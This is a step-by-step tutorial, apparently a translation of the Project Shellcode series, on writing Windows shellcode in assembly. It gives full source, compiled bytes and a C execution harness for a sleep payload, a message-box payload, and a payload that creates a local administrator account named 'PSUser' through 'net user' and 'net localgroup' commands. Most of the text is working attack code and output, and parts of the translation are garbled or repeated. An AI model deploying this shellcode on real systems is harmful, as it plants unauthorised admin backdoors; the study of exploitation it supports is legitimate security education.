P3nro5e 2014/12/08 concluded

0x00 Introduction to Tool Installation


This tutorial on this site is designed to generate your own shellcode using assembly code, It will hopefully be included in the “Project Shellcode Development Framework” what is the difference between Windows Shellcode and Linux Shellcode?

Some content of this tutorial is based on was drawn in the http://www.vividmachines.com/shellcode/shellcode.html information about.

Linux, unlike Windows, provides a way to interface directly with the kernel via the INT 0x80 interface. Can be found at http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html complete Linux system call table. Windows, on the other hand, does not have a direct kernel interface. The system must be combined by loading function addresses, which need to be executed from a dynamically linked library. The key difference between the two systems is in fact that function addresses in Windows change from one system version to another, because the int 0x80 system call number is constant. Windows programmers do this so that they don’t have to argue about any changes the kernel needs. Linux, by contrast, has fixed all kernel-level functions in its computing system, and if they tried to change, there would be tons of angry programmers (and lots of imperfect code).

Address: http://www.vividmachines.com/shellcode/shellcode.html

So, what about Windows? How do I find the function address of the DLL I need? Don’t these addresses change with each service pack upgrade?

There are many ways to figure out the address of the function you need to use in ShellCode.

There are two ways to find the address of a function: you can find the desired function at runtime or use a hard-coded address. Much of this tutorial will discuss hard-coding methods. The DLL mapped into the shellCode address space is kernel32.dll. The DLL contains the LoadLibrary and GetProcAddress functions, which are used to get the address of any function mapped into the adventurous process space. One problem with this approach is that the address offset will change with each new version of Windows (service packs, patches, etc.). So the Shellcode you generate in this way will only work with a particular version of Windows.

The method of dynamically locating function addresses will appear in a later tutorial

Focuses on a discussion of Windows assembly; When it comes to developing Shellcode, however, Linux is pretty handy. For this reason, I found cygwin to be a great platform for shellcode development. At the same time also can access Windows Dlls, download address: http://www.projectshellcode.com/downloads/cygwin_setup.exe during the Cygwin installation, will let you choose what you want to install packages

The following packages facilitate shellcode generation:

  • Devel->binutils (including ld, as, objdump)
  • Devel->gcc
  • Devel->make
  • Devel->nasm
  • Devel->gdb
  • Editors->hexedit
  • Editors->vim
  • Net->netcat
  • System->util-linux

Now that you’ve set up the Cygwin environment, download the tools below. Some are scripts I used myself to make things easier, and two additional resources that you will want to store in your Cygwin environment, such as copying them into C: cygwin home Administrator Shellcode \. Administrator is your username, and I’ve created a Shellcode directory for our workstation.

  • xxd-shellcode.sh

Extract the unmodified Shellcode by parsing XXD output

http://www.projectshellcode.com/downloads/xxd-shellcode.sh

  • shellcode-compiler.sh

Automatically compile assembly code, extract unmodified Shellcode, generate unicode encoded version of unmodified Shellcode, inject your already encoded shellcode into “Template Exploit” (MS07-004) to test, Create a C test program with your shellcode in it and compile them ready to execute! Very convenient!

Download address: http://www.projectshellcode.com/downloads/shellcode-compiler.sh or http://www.projectshellcode.com/downloads/shellcode-com piler.zip

  • findFunctionInDLL.sh

http://www.projectshellcode.com/downloads/findFunctionInDLL.sh

Find a DLL on your system that contains a specific Windows function

  • arwin.c

Win32 DLL address resolution program

http://www.vividmachines.com/shellcode/arwin.c

  • shellcodetest.c

http://www.vividmachines.com/shellcode/shellcodetest.c

From the start menu to run a bash shell and CD to your “shellcode directory, such as CD/home/Administrator/shellcode. Compile arwin.c by using the following command

gcc -o arwin arwin.c

List the help by typing./arwin.

There is no need to compile ShellCodeTest.c for now. Put the generated Shellcode into shellCodeTest.c and compile it. Meanwhile, we can execute our Shellcode by running ShellCodeTest.

The Metasploit framework is an excellent resource for generating ShellCode. As of this writing, the Metasploit team is about to release Framework 3.3, which will run in a Cygwin environment on Windows. The development version can be downloaded by following the link below

  • Metasploit Framework 3.3 – dev

http://www.projectshellcode.com/downloads/framework-3.3-dev.exe

This version of the framework is installed in C: msF3\ and has its own dedicated Cygwin environment. You can execute a shell with shell.bat.

These excellent Windows programs will also be used in Tutorial 4. Download the following tools:

  • OllyDbg 1.10 (Excellent Debugger for Windows)

Download address: http://www.projectshellcode.com/downloads/odbg110.zip

  • Lcc-win32 (Free Windows C compiler)

Download address: http://www.projectshellcode.com/downloads/lccwin32.exe)

Build your first simple Shellcode program

0x01 A concise paragraph of Shellcode


This tutorial teaches you the basics of Shellcoding, including

  1. Locate function address in Windows DLLs;

  2. Simple assembly;

  3. Methods for compiling ASM code;

  4. Implement your Shellcode (if it works) to see how it works.

Below we will generate the most concise shellcode (just sleep for 5 seconds and exit).

Some content of this tutorial is based on http://www.vividmachines.com/shellcode/shellcode.html in the extracts information about.

A method to find a function address in the Windows DLLs

The function named “Sleep” is the Windows function for Sleep, so you need to know what you can do with it. In assembly, we use the call “0xXXXXXXX” instruction,XXXXXXXX is the address of the function in memory. So you need to find the address where the function is loaded.

This can be done using the “Arwin” program that was downloaded and compiled in the first tutorial. If you run./arwin.exe from the shellcode directory you created, you will see the following information about how to use it:

$ ./arwin.exe

arwin – win32 address resolution program – by steve hanna – v.01

./arwin

So to use Arwin we need to know which DLL the function is in and this will usually be kernel32.dll or user32.dll or ws2_32.dll; .

However, it depends on what your Shellcode is trying to implement. The following script “findFunctionindll. sh” I have written is an Arwin wrapper that looks up the DLLs on your local system to find out which DLLs our function is in.

#! bash if [ $# -ne 1 ] then printf "\n\tUsage: $0 functionname\n\n" exit fi functionname=$1 searchDir="/cygdrive/c/WINDOWS/system32" arwin_exe="`pwd`/arwin.exe" cd $searchDir ls -1d *.dll | grep -v gui | while read dll do printf "\r "; printf "\r$dll"; count=0 count=`$arwin_exe $dll $functionname | grep -c "is located at"` if [ $count -ne 0 ] then printf "\n"; $arwin_exe $dll $functionname | grep "is located at" printf "\n"; fi done printf "\r ";Copy the code

Copy the findFunctionindll. sh as above to your system and run “chmod 755 findFuntionindll. sh” to make it executable.

You should make sure your Windows system directory is positioned on/cygdrive/c/Windows/system32 (in your Cygwin environment)

Use this script to find the DLLs you need to pass to the Arwin program. The script traverses the DLLs on your system, and it should report (output) any matching functions and addresses:

./findFunctionInDLL.sh Sleep

kernel32.dll

Sleep is located at 0x7c802442 in kernel32.dll

Depending on the operating system and service pack, you may get a different address from mine. I’m using WindowsXP SP2. This means your shellcode will only work on the same operating system and service pack because we’ve hardcoded the function’s memory address. More advanced are techniques that can be used to dynamically locate kernel32.dll and function addresses; However, that will be covered in detail in a later tutorial. This will take a while, so if you already know which DLL your function exists in, you can just run Arwin:

./arwin.exe Kernel32.dll Sleep   arwin – win32 address resolution program – by steve hanna – v.01

Sleep is located at 0x7c802442 in Kernel32.dll

Assembly code

The next sleep. Asm code taken from http://www.vividmachines.com/shellcode/shellcode.html (with a little modification).

Create sleep.asm on your local system (in your Cygwin Shellcode directory) with the following code. Because they explain what is done to execute each line of instructions, they also give useful hints for later shellcode design. Remember to replace the address of the “Sleep” function with the address enumerated above by Arwin.

; sleep.asm [SECTION .text] ; set the code to be 32-bit ; Tip: If you don't have this line in more complex shellcode, ; the resulting instructions may end up being different to ; what you were expecting. BITS 32 global _start _start: ; clear the eax register ; Tip: xor is great for zeroing out registers to clear previous values. xor eax,eax ; move address of Sleep to ebx that we gained from "./arwin.exe Kernel32.dll Sleep" mov ebx, 0x7c802442 ; pause for 5000ms by putting 5000 into ax (8 bit eax register) ; Tip: ax is the lower half of eax. Using ax when possible reduces ; the instruction size, and therefore the shellcode size. mov ax, 5000 ; push eax onto the stack as the first parameter to the Sleep function. ; Tip: When functions are called, the parameters are pulled from the stack. push eax ; call the address of Sleep(ms) located in ebx ; Tip: Sleep has one parameter and will pull this from the stack. call ebxCopy the code

Compiling assembly Code Now that we have shellcode written in assembly language, we need to compile it. This can be done using the NASM assembly compiler, using the following command in a directory that has Sleep.asm (which is your assembly source file), where sleep.bin is the compiled binary output file

nasm -f bin -o sleep.bin sleep.asm

Get shellcode

Now that we have a compiled binary, we can use the XXD tool to generate the ShellCode file. This can be done using the following XXD command, which produces the following output:

xxd -i sleep.bin

unsigned char sleep_bin[] = {

0x31, 0xc0, 0xbb, 0x42, 0x24, 0x80, 0x7c, 0x66, 0xb8, 0x88, 0x13, 0x50,

0xff, 0xd3

};

unsigned int sleep_bin_len = 14;

This produces an array of characters that can be used within a C program.

Each output hexadecimal number (0xXX) represents a byte in shellCode.

So what do we want to do with this output to produce shellcode? We will use the following script, This is the script I put together to remove the unmodified ShellCode that can be put directly into our “ShellCodeTest. c” program. Copy the following code into the shellCode directory on your own machine and use “chmod 755” Xxd-shellcode. sh “changes the permission.

#! bash if [ $# -ne 1 ] then printf "\n\tUsage: $0 filename.bin\n\n" exit fi filename=`echo $1 | sed s/"\.bin$"//` rm -f $filename.shellcode for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g` do echo -n "\\$i" >> $filename.shellcode echo -n "\\$i" done echoCopy the code

This program can make the input file “sleep.bin” work, so running the following command should produce the following output, which is automatically stored in “sleep.shellCode”. Because the address of the Sleep function is different on your system, this output may change slightly if you are using a different system or service pack

./xxd-shellcode.sh sleep.bin \x31\xc0\xbb\x42\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3

Test the shellcode

Use “ShellCodeTest. c” program to test our shellcode. This step is to insert our shellcode into a C program that we can compile and execute. This program is already designed to execute our shellcode.

To do this, you need to insert your Shellcode (generated from the previous step) into the program. You put it between the quotes in the “code[]” array. The end should look something like this:

#! bash /*shellcodetest.c*/ char code[] = "\x31\xc0\xbb\x42\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); }Copy the code

We now need to compile the modified ShellCodeTest.c program so that it can execute our Shellcode. Run the following command:

gcc -o shellcodetest shellcodetest.c

Generate executable program “ShellcodeTest.exe”.

Now you should be able to execute this program, and it will execute your Shellcode. Use this program to understand that shellCode is designed to simply sleep for 5 seconds and then exit – core dump may occur at the same time, but don’t care about this at this stage.

./shellcodetest.exe   (sleeps for 5 seconds)   (then exits – and may core dump)

A: congratulations! You’ve written, compiled, removed, formatted, and tested your first shellCode!

Now let’s design something that you can actually see!

0x02 Command to execute shellcode


This tutorial is just an extension of the first tutorial;

However, instead of simply designing ShellCode to sleep for five seconds, it calls the WinExec function on the victim system to create a new user with administrative privileges.

This tutorial also teaches you how to define and locate string constants. The string command you want to execute in this case. Also exits the process cleanly without producing a core dump.

Some content of this tutorial is extract in http://www.vividmachines.com/shellcode/shellcode.html and on the basis of the information about.

Our purpose

Our Shellcode will locate our command line string and create a local administrative user on the victim system by calling the WinExec function. Note that this tutorial will create an admin account on your system, so delete it or you may find that you have been hacked for creating this account.

What functions do we need and where are they?

From our programming experience (or at least from Google), we know that to execute a command on a Windows system we need to call the WinExec function, and to exit a process cleanly we need to call the ExitProcess function. Both functions can be found in kernel32.dll.

To locate the function’s address, we will use Arwin, as we did in the last tutorial. As follows:

./arwin.exe Kernel32.dll WinExec arwin – win32 address resolution program – by steve hanna – v.01     WinExec is located at 0x7c8615b5 in Kernel32.dll

The WinExec function is located at address 0x7C8615b5 in kernel32.dll

./arwin.exe Kernel32.dll ExitProcess     arwin – win32 address resolution program – by steve hanna – v.01

ExitProcess is located at address 0x7C81CA82 in kernel32.dll. You may get a different address from mine. This depends on the operating system and service pack. I’m using WindowsXP SP2. This means your shellcode will only work on the same operating system and the service pack you’re using because we’ve hardcoded the memory address of the function. This may even be slightly different depending on the patch files you have installed. This is a more advanced technique that can be used to dynamically locate kernel32.dll and function addresses; However, that will be covered in detail in a later tutorial.

Define and position string constants

Here is the string constant we want to define in our shellCode, the command we will execute to create an account with the username “PSUser” and the password “PSPasswd”

‘cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser’

The following snippet demonstrates how to define a string constant at the end of our code and position the string at the top of the stack.

+--------------- [snip] ---------------+ jmp short GetCommand; Jump to where our string is located ("GetCommand" label below) CommandReturn:; Create a label we can call to return here. pop ebx; the "call" operation below has pushed its return address onto the stack, which we have designed to point to our string - so pop the address of the string off the stack and into ebx. ; At this point, ebx points to our string. +--------------- [snip] ---------------+ GetCommand: ; Create the "GetCommand" label where our string is located call CommandReturn ;" call" is like jump, but also pushes the return address (next instruction after call) onto the stack. Since our string is defined immediately  after this instruction, The return address points to the address of our string. "Call" db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"; Write the raw bytes into the shellcode that represent our string. db 0x00 ; Terminate our string with a null character. +--------------- [snip] ---------------+Copy the code

Assembly code

The following adduser. Asm code is gather from the http://www.vividmachines.com/shellcode/shellcode.html, with a slight modifications and comments

Create adduser.asm in Cygwin’s shellCode directory on your local system using the following code

After shellCode is developed, remember to replace the function addresses for “WinExec” and “ExitProcess” with the ones you have enumerated using arwin above

+----------------- Start adduser.asm -----------------+ ; adduser.asm [Section .text] BITS 32 global _start _start: jmp short GetCommand ; jump to the location of the command string CommandReturn: ; Define a label to call so that string address is pushed onto stack pop ebx ; ebx now points to the string ebx xor eax,eax ; empties out eax push eax ; push null onto stack as empty parameter value push ebx ; push the command string onto the stack mov ebx,0x7c8615b5 ; place address of WinExec into ebx call ebx ; call WinExec(path,showcode) xor eax,eax ; zero the register again to clear WinExec return value (return values are often returned into eax) push eax ; push null onto stack as empty parameter value mov ebx, 0x7c81ca82 ; place address of ExitProcess into ebx call ebx ; call ExitProcess(0); GetCommand: ; Define label for location of command string call CommandReturn ; call the return label so the return address (location of string) is pushed onto stack db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"; Write the raw bytes into the shellcode that represent our string. db 0x00 ; Terminate our string with a null character. +----------------- End adduser.asm -----------------+Copy the code

Compile assembly code

So now we have shellcode that we’ve written in sinks, and we need to compile it. This can be done using the NASM assembly compiler, using the following command in the directory where adduser.asm (which is your assembly source code file) is stored. Adduser.bin is the compiled binary output file

nasm -f bin -o adduser.bin adduser.asm

Get shellcode

Now that we have a compiled binary, we can use the XXD tool to generate the Shellcode file for us. This can be done using the following XXD command, which produces the following output:

xxd -i adduser.bin     unsigned char adduser_bin[] = {      0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x50, 0x53, 0xbb, 0xb5, 0x15, 0x86, 0x7c,      0xff, 0xd3, 0x31, 0xc0, 0x50, 0xbb, 0x82, 0xca, 0x81, 0x7c, 0xff, 0xd3,      0xe8, 0xe5, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65,      0x20, 0x2f, 0x63, 0x20, 0x6e, 0x65, 0x74, 0x20, 0x75, 0x73, 0x65, 0x72,      0x20, 0x50, 0x53, 0x55, 0x73, 0x65, 0x72, 0x20, 0x50, 0x53, 0x50, 0x61,      0x73, 0x73, 0x77, 0x64, 0x20, 0x2f, 0x41, 0x44, 0x44, 0x20, 0x26, 0x26,      0x20, 0x6e, 0x65, 0x74, 0x20, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x67, 0x72,      0x6f, 0x75, 0x70, 0x20, 0x41, 0x64, 0x6d, 0x69, 0x6e, 0x69, 0x73, 0x74,      0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x20, 0x2f, 0x41, 0x44, 0x44, 0x20,      0x50, 0x53, 0x55, 0x73, 0x65, 0x72, 0x00     };     unsigned int adduser_bin_len = 115;

This produces an array of characters that can be used within a C program.

Each output hexadecimal number (0xXX) represents a byte in shellCode.

We will use the “xxD-Shellcode. sh” script to remove the semi-finished ShellCode that can be directly put into our “ShellCodeTest.c” program, as we did in the last tutorial, as shown below:

./xxd-shellcode.sh adduser.bin \xeb\x16\x5b\x31\xc0\x50\x53\xbb\xb5\x15\x86\x7c\xff\xd3\x31\xc0\x50\xbb\x82\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63 \x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61 \x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64 \x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72\x00 Testing the shellcode

Test the shellcode

Use “ShellCodeTest. c” program to test our shellcode. The purpose of this step is to insert our shellcode into a C program that can then be compiled and executed. This program has been designed to execute our Shellcode.

To do this, you need to insert your Shellcode (generated from the previous step) into the program. You put it between the quotes in the “code[]” array. The result should look like the following code:

+----------------- Start updated shellcodetest.c -----------------+ /*shellcodetest.c*/ char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xb5\x15\x86\x7c\xff\xd3\x31\xc0\x50\xbb\x82\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x6 3\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x6 1\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x6 4\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72\x00"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } +----------------- End updated shellcodetest.c -----------------+Copy the code

We now need to compile the modified ShellCodeTest.c program so that it can execute our Shellcode. You can run the following command:

gcc -o shellcodetest shellcodetest.c

Create the executable program shellCodeTest.exe.

Before running this program, you will want to list the user’s accounts on your local system by running the following command

Net User (local accounts listed on your system)

You should now be able to execute your Shellcode with this test program. This Shellcode is designed to add a user with administrator privileges (called “PSUser”) to your system, and it will exit cleanly

./shellcodetest.exe The command completed successfully. Command completed successfully (Add user account) Command completed successfully (Add user account to admin group) (Clean exit)

You can now verify that an account has been created by running the “net User” command again, as shown below:

Net User (listing local system accounts now includes PSUser)

finishing

You should find out if you have deleted the account from your system to make sure it can’t be used to hack into your system. You can do this using the following command:

Net user the PSUser /delete command is successfully completed (deletes the “PSUser” account)

A: congratulations!

You have designed your first shellCode, which defines and finds an immutable string and executes a command on a Windows system to create an account with administrator privileges. Now, let’s start being a little tricky.

0x03 Message box ShellCode


This tutorial teaches you some useful tips for designing ShellCode, such as loading libraries, dynamically locating Windows functions, defining and finding the addresses of string constants, and calling Windows functions, which can get you started designing your own Shellcode

Some content of this tutorial is based on http://www.vividmachines.com/shellcode/shellcode.html in the extracts information about.

Our goal

Our ShellCode goal is to display a dialog box that contains a custom message

What function do we need to call?

From programming experience (or at least from Google), we know that generating a message box on Windows requires calling the MessageBoxA function, and Google can also tell if the MessageBoxA function can be found in user32.dll.

If you use “findfunctionindll. sh” as mentioned in the previous tutorial to determine if the function exists in user32.dll, it will also print the function address. So do it the following way.

./findFunctionInDLL.sh MessageBoxA user32.dll MessageBoxA is located at 0x7e45058a in user32.dll

So we will know the address of the MessageBoxA function and know that it is in user32.dll. Unfortunately, if we hardcode this address into shellcode, it will only work on your current operating system. Which only works in my Windows XP SP2 but will otherwise use a technique that allows us to dynamically find the address of the MessageBoxA function without hard-coding the memory address. User32.dll has been loaded?

In Windows we only know that kernel32.dll has been loaded, but we don’t need to know if user32.dll has been loaded. Usually we have to assume that’s useless, unless you’re designing shellcode for a specific exploit.

To load a library on Windows, we can call the “LoadLibraryA” function, which is located in kernel32.dll. So we need to find the address of the LoadLibraryA function. As shown above, this can be done by using findFunctionindll.sh, however, a faster way is to use Arwin directly, since the functions and libraries are already known

./arwin Kernel32.dll LoadLibraryA7  arwin – win32 address resolution program – by steve hanna – v.01  LoadLibraryA is located at 0x7c801d77 in Kernel32.dll

Remember that we are only trying to dynamically find the address of the MessageBoxA function. But there will be no attempt to completely remove all hard-coded memory addresses. This will be covered in a later tutorial and will allow you to design ShellCode to run on Windows platforms

How do I find the address of MessageBoxA?

So at this stage, we know how to load the user32.dll library and know that the MessageBoxA function we want to call is included in it. But we still don’t know how to find the address of MessageBoxA. We can use the “GetProcAddress” function, which is located in kernel32.dll. You can pass the function name to GetProcAddress, which returns the address of the function. So first, we need to use Arwin to locate the address of the GetProcAddress function

./arwin Kernel32.dll GetProcAddress

arwin – win32 address resolution program – by steve hanna – v.01

GetProcAddress is located at 0x7c80adc0 in Kernel32.dll

How do I prevent the main process from crashing?

In the last tutorial, a process crash caused a core dump. To exit cleanly, we need to call the ExitProcess function. For simplicity, we’ll just use Arwin inside kernel32.dll to enumerate the memory address of this function, which can be done as follows:

./arwin Kernel32.dll ExitProcess arwin – win32 address resolution program – by steve hanna – v.01 ExitProcess is located at 0x7c81ca82 in Kernel32.dll

So now we have all the information we need to design shellcode. So you can easily understand the assembly code below, I just want to point out one more technique that has been used.

Defining and locating string constants

Define and position string constants

From the above information, there are three strings that we want to define in our shellcode. These are:

From the above information, there are three strings that we want to define in shellCode. These are:

‘user32.dll’     ‘MessageBoxA’     ‘Hey’

Here the string “user32.dll” is passed into the LoadLibraryA function as an argument. Pass the “MessageBoxA” string as an argument to GetProcAddress. Pass “Hey” as an argument to MessageBoxA.

The following snippet of code demonstrates how we define a string at the end of our code, and locate the string at the top;

The following snippet of code demonstrates how we define strings at the end of our code and position strings at the top

+--------------- [snip] ---------------+ ; Retrieve the address of the library name string set below. jmp short GetLibrary ; Jump to where our library string is located ("GetLibrary" label below) GetLibraryReturn:; Create a label we can call to return here. pop ecx ; the "call" operation has pushed the return address onto the stack, which we have designed to point to our string - so pop the address of the library name string off the stack and into ecx. ; At this point, ecx points to our string. +--------------- [snip] ---------------+ GetLibrary: ; Create the "GetLibrary" label where our library name string is located call GetLibraryReturn ;" call" is like jump, but also pushes the next instruction address onto the stack. Since our string is defined immediately after this instruction, this is the address of our string. db 'user32.dll' ; Write the raw bytes into the shellcode that represent our string. db 0x00 ; Terminate our string with a null character. +--------------- [snip] ---------------+Copy the code

The Shellcode

The next msgbox. Asm code is gather from the http://www.vividmachines.com/shellcode/shellcode.html, with a slight modifications and comments

Create msgbox.asm in Cygwin’s shellCode directory on your local system using the following code. Make sure you read the code comments from start to finish as they explain what each line of code does and give useful hints for later shellCode development.

Remember to replace the address of each function with the one you have enumerated using the Arwin program

+--------------- Start msgbox.asm --------------+ ; msgbox.asm [SECTION .text] BITS 32 global _start _start: ; zero out the registers xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx ; Retrieve the address of the library name string set below. jmp short GetLibrary GetLibraryReturn: pop ecx ; pop address of the Library string ; Pass library string as parameter to LoadLibraryA, and call LoadLibraryA mov ebx, 0x7c801d77 ; LoadLibraryA(libraryname) push ecx ; push parameter to LoadLibraryA call ebx ; call LoadLibraryA - eax holds return value ; Retrieve the address of the function name string set below. jmp short FunctionName FunctionReturn: pop ecx ; pop address of the function string ; Pass function string as parameter to LoadLibraryA, and call LoadLibraryA push ecx ; push string as the second parameter push eax ; pass first parameter mov ebx, 0x7c80adc0 ; GetProcAddress(hmodule,functionname) call ebx ; eax now holds address of MessageBoxA jmp short Message MessageReturn: pop ecx ; get the message string xor edx,edx ; clear edx value ; Push the parameters onto the stack: push edx ; MB_OK push ecx ; title push ecx ; message push edx ; NULL window handle call eax ; MessageBoxA(windowhandle,msg,title,type) ender: xor edx,edx ; empty edx out push eax ; move address of MessageBoxA onto stack mov eax, 0x7c81ca82 ; ExitProcess(exitcode); call eax ; exit cleanly so we don't crash parent GetLibrary: ; Define location and string constant "user32.dll" call GetLibraryReturn ; push address of next byte onto stack, and return to GetLibraryReturn db 'user32.dll'; string constant db 0x00; terminate string with null FunctionName:; Define location and string constant "MessageBoxA" call FunctionReturn; push address of next byte onto stack, and return to FunctionReturn db 'MessageBoxA'; string constant db 0x00; terminate string with null Message:; Define location and string constant "Hey" call MessageReturn; push address of next byte onto stack, and return to MessageReturn db 'Hey'; string constant db 0x00; terminate string with null +--------------- End msgbox.asm --------------+Copy the code

Compile assembly code

So now we have shellcode that we’ve written in assembly language, and we need to compile it. This can be done using the NASM assembly compiler in a directory that has msgbox.asm (which is your assembly source code file) using the following command msgbox.bin, which is the compiled binary output file

nasm -f bin -o msgbox.bin msgbox.asm

Get shellcode

Now that we have a compiled binary, we can use the XXD tool to generate the Shellcode file for us. This can be done using the following XXD command, which produces the following output:

xxd -i msgbox.bin    unsigned char msgbox_bin[] = {      0x31, 0xc0, 0x31, 0xdb, 0x31, 0xc9, 0x31, 0xd2, 0xeb, 0x2a, 0x59, 0xbb,      0x77, 0x1d, 0x80, 0x7c, 0x51, 0xff, 0xd3, 0xeb, 0x2f, 0x59, 0x51, 0x50,      0xbb, 0xc0, 0xad, 0x80, 0x7c, 0xff, 0xd3, 0xeb, 0x34, 0x59, 0x31, 0xd2,      0x52, 0x51, 0x51, 0x52, 0xff, 0xd0, 0x31, 0xd2, 0x50, 0xb8, 0x82, 0xca,      0x81, 0x7c, 0xff, 0xd0, 0xe8, 0xd1, 0xff, 0xff, 0xff, 0x75, 0x73, 0x65,      0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0xe8, 0xcc, 0xff, 0xff,      0xff, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41,      0x00, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x48, 0x65, 0x79, 0x00    };    unsigned int msgbox_bin_len = 94;

This produces an array of characters that can be used within a C program.

Each output hexadecimal number (0xXX) represents a byte in shellCode.

So what do we want to do with this output to produce shellcode? We will use the following script, This is the script I put together to remove the unmodified ShellCode that can be put directly into our “ShellCodeTest. c” program. Copy the following code into the shellCode directory on your own machine and use “chmod 755” Xxd-shellcode. sh “changes the permission.

We will use the “xxD-Shellcode.sh” script to remove the unmodified Shellcode that can be put directly into our “ShellCodeTest.c” program, as we did in the last tutorial, as shown below:

./xxd-shellcode.sh msgbox.bin

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x2a\x59\xbb\x77\x1d\x80\x7c\x51\xff\xd3\xeb\x2f\x59\x51\x50\xbb\xc0\xad\x80\x7c\xff \xd3\xeb\x34\x59\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\x82\xca\x81\x7c\xff\xd0\xe8\xd1\xff\xff\xff\x75\x73\x65 \x72\x33\x32\x2e\x64\x6c\x6c\x00\xe8\xcc\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x00\xe8\xc7\xff\xff\xff \x48\x65\x79\x00

Test the shellcode

Use “ShellCodeTest. c” program to test our shellcode. The purpose of this step is to insert our shellcode into a C program that can then be compiled and executed. This program has been designed to execute our shellcode.

To do this, you need to insert your Shellcode (generated from the previous step) into the program. And place it between the quotes in the “code[]” array. It should end up looking like the following code:

+----------------- Start updated shellcodetest.c -----------------+ /*shellcodetest.c*/ char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x2a\x59\xbb\x77\x1d\x80\x7c\x51\xff\xd3\xeb\x2f\x59\x51\x50\xbb\xc0\xad\x80\x7c\xf f\xd3\xeb\x34\x59\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\x82\xca\x81\x7c\xff\xd0\xe8\xd1\xff\xff\xff\x75\x73\x6 5\x72\x33\x32\x2e\x64\x6c\x6c\x00\xe8\xcc\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x00\xe8\xc7\xff\xff\xf f\x48\x65\x79\x00"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } +----------------- End updated shellcodetest.c -----------------+Copy the code

Now we need to compile the modified ShellCodeTest.c program so that it can execute our Shellcode. You can run the following command:

gcc -o shellcodetest shellcodetest.c

Create executable program “ShellcodeTest.exe”

Remember that this is designed to trigger a message box with a “Hey” message, which should then exit cleanly without triggering core dump. If you encounter core dump, the hard-coded function addresses may be wrong, and you need to check the arwin program for each of these functions

./shellcodetest.exe     (message box produced saying “Hey”)

Message box prompts “Hey”

(click “Ok” and it should exit cleanly)

Click “OK” and exit cleanly.

A: congratulations!

You’ve designed shellCode to load Windows libraries, dynamically find Windows function addresses, define and find string constants, and call function addresses.

This puts you in the right place to start designing your own shellcode.

However, there are still some hard-coded addresses in the above code. The following tutorial will show you how to remove these addresses by dynamically locating kernel32.dll and the GetProcAddress function. It will also show you how to use assembly language to construct functions so that you can reuse your code.

0x04 Generates the function Hash


In previous tutorials, there was always a hard-coded address to the Windows function you wanted to call. This prevents ShellCode from executing on multiple different Windows operating systems, service packs, and even different patch levels

The first step in this tutorial is to take a step closer to learning the more dynamic Windows ShellCode structure, which can be executed at multiple Windows operating system versions, service packs, and patch levels. The method starts by dynamically finding the address of each function by creating a hash of the function name we want to call, and ShellCode searches for the associated DLL(initially Kernel32.dll), computes a hash for each function name we find, and compares it with our precomputed hash.

Our purpose

The purpose of shellCode will be to design a program that generates a hash (this program can take a list of function name strings and push a matching hash table on the stack). This table can be seen through the OllyDbg debugger. The program will also demonstrate some more structures, which are areas of functions and constants that we define.

We’re compiling this assembly code as if it were already ShellCode (just because we’re temporarily throwing the program); However, it doesn’t really do anything like ShellCode and is just a fairly useful program. It is used to create the function hash (for use in other shellcode)

The next tutorial tutorial (6) in order to let the shellcode fully dynamic (can be in all the service packs and windows98, windowsNT, Windows Effective at patch level for windowsXP and Windows2003), will convert the function hash we generated in this tutorial into adduser.asm code in tutorial 3 (which has the hard-coded function address).

From tutorial 3, we’ve already used the “WinExec” and “ExitProcess” functions, so in order to make them available in Tutorial 6, we’ll generate hashes for these functions along with a bunch of other functions that would normally be used

What should YOU look for in your code

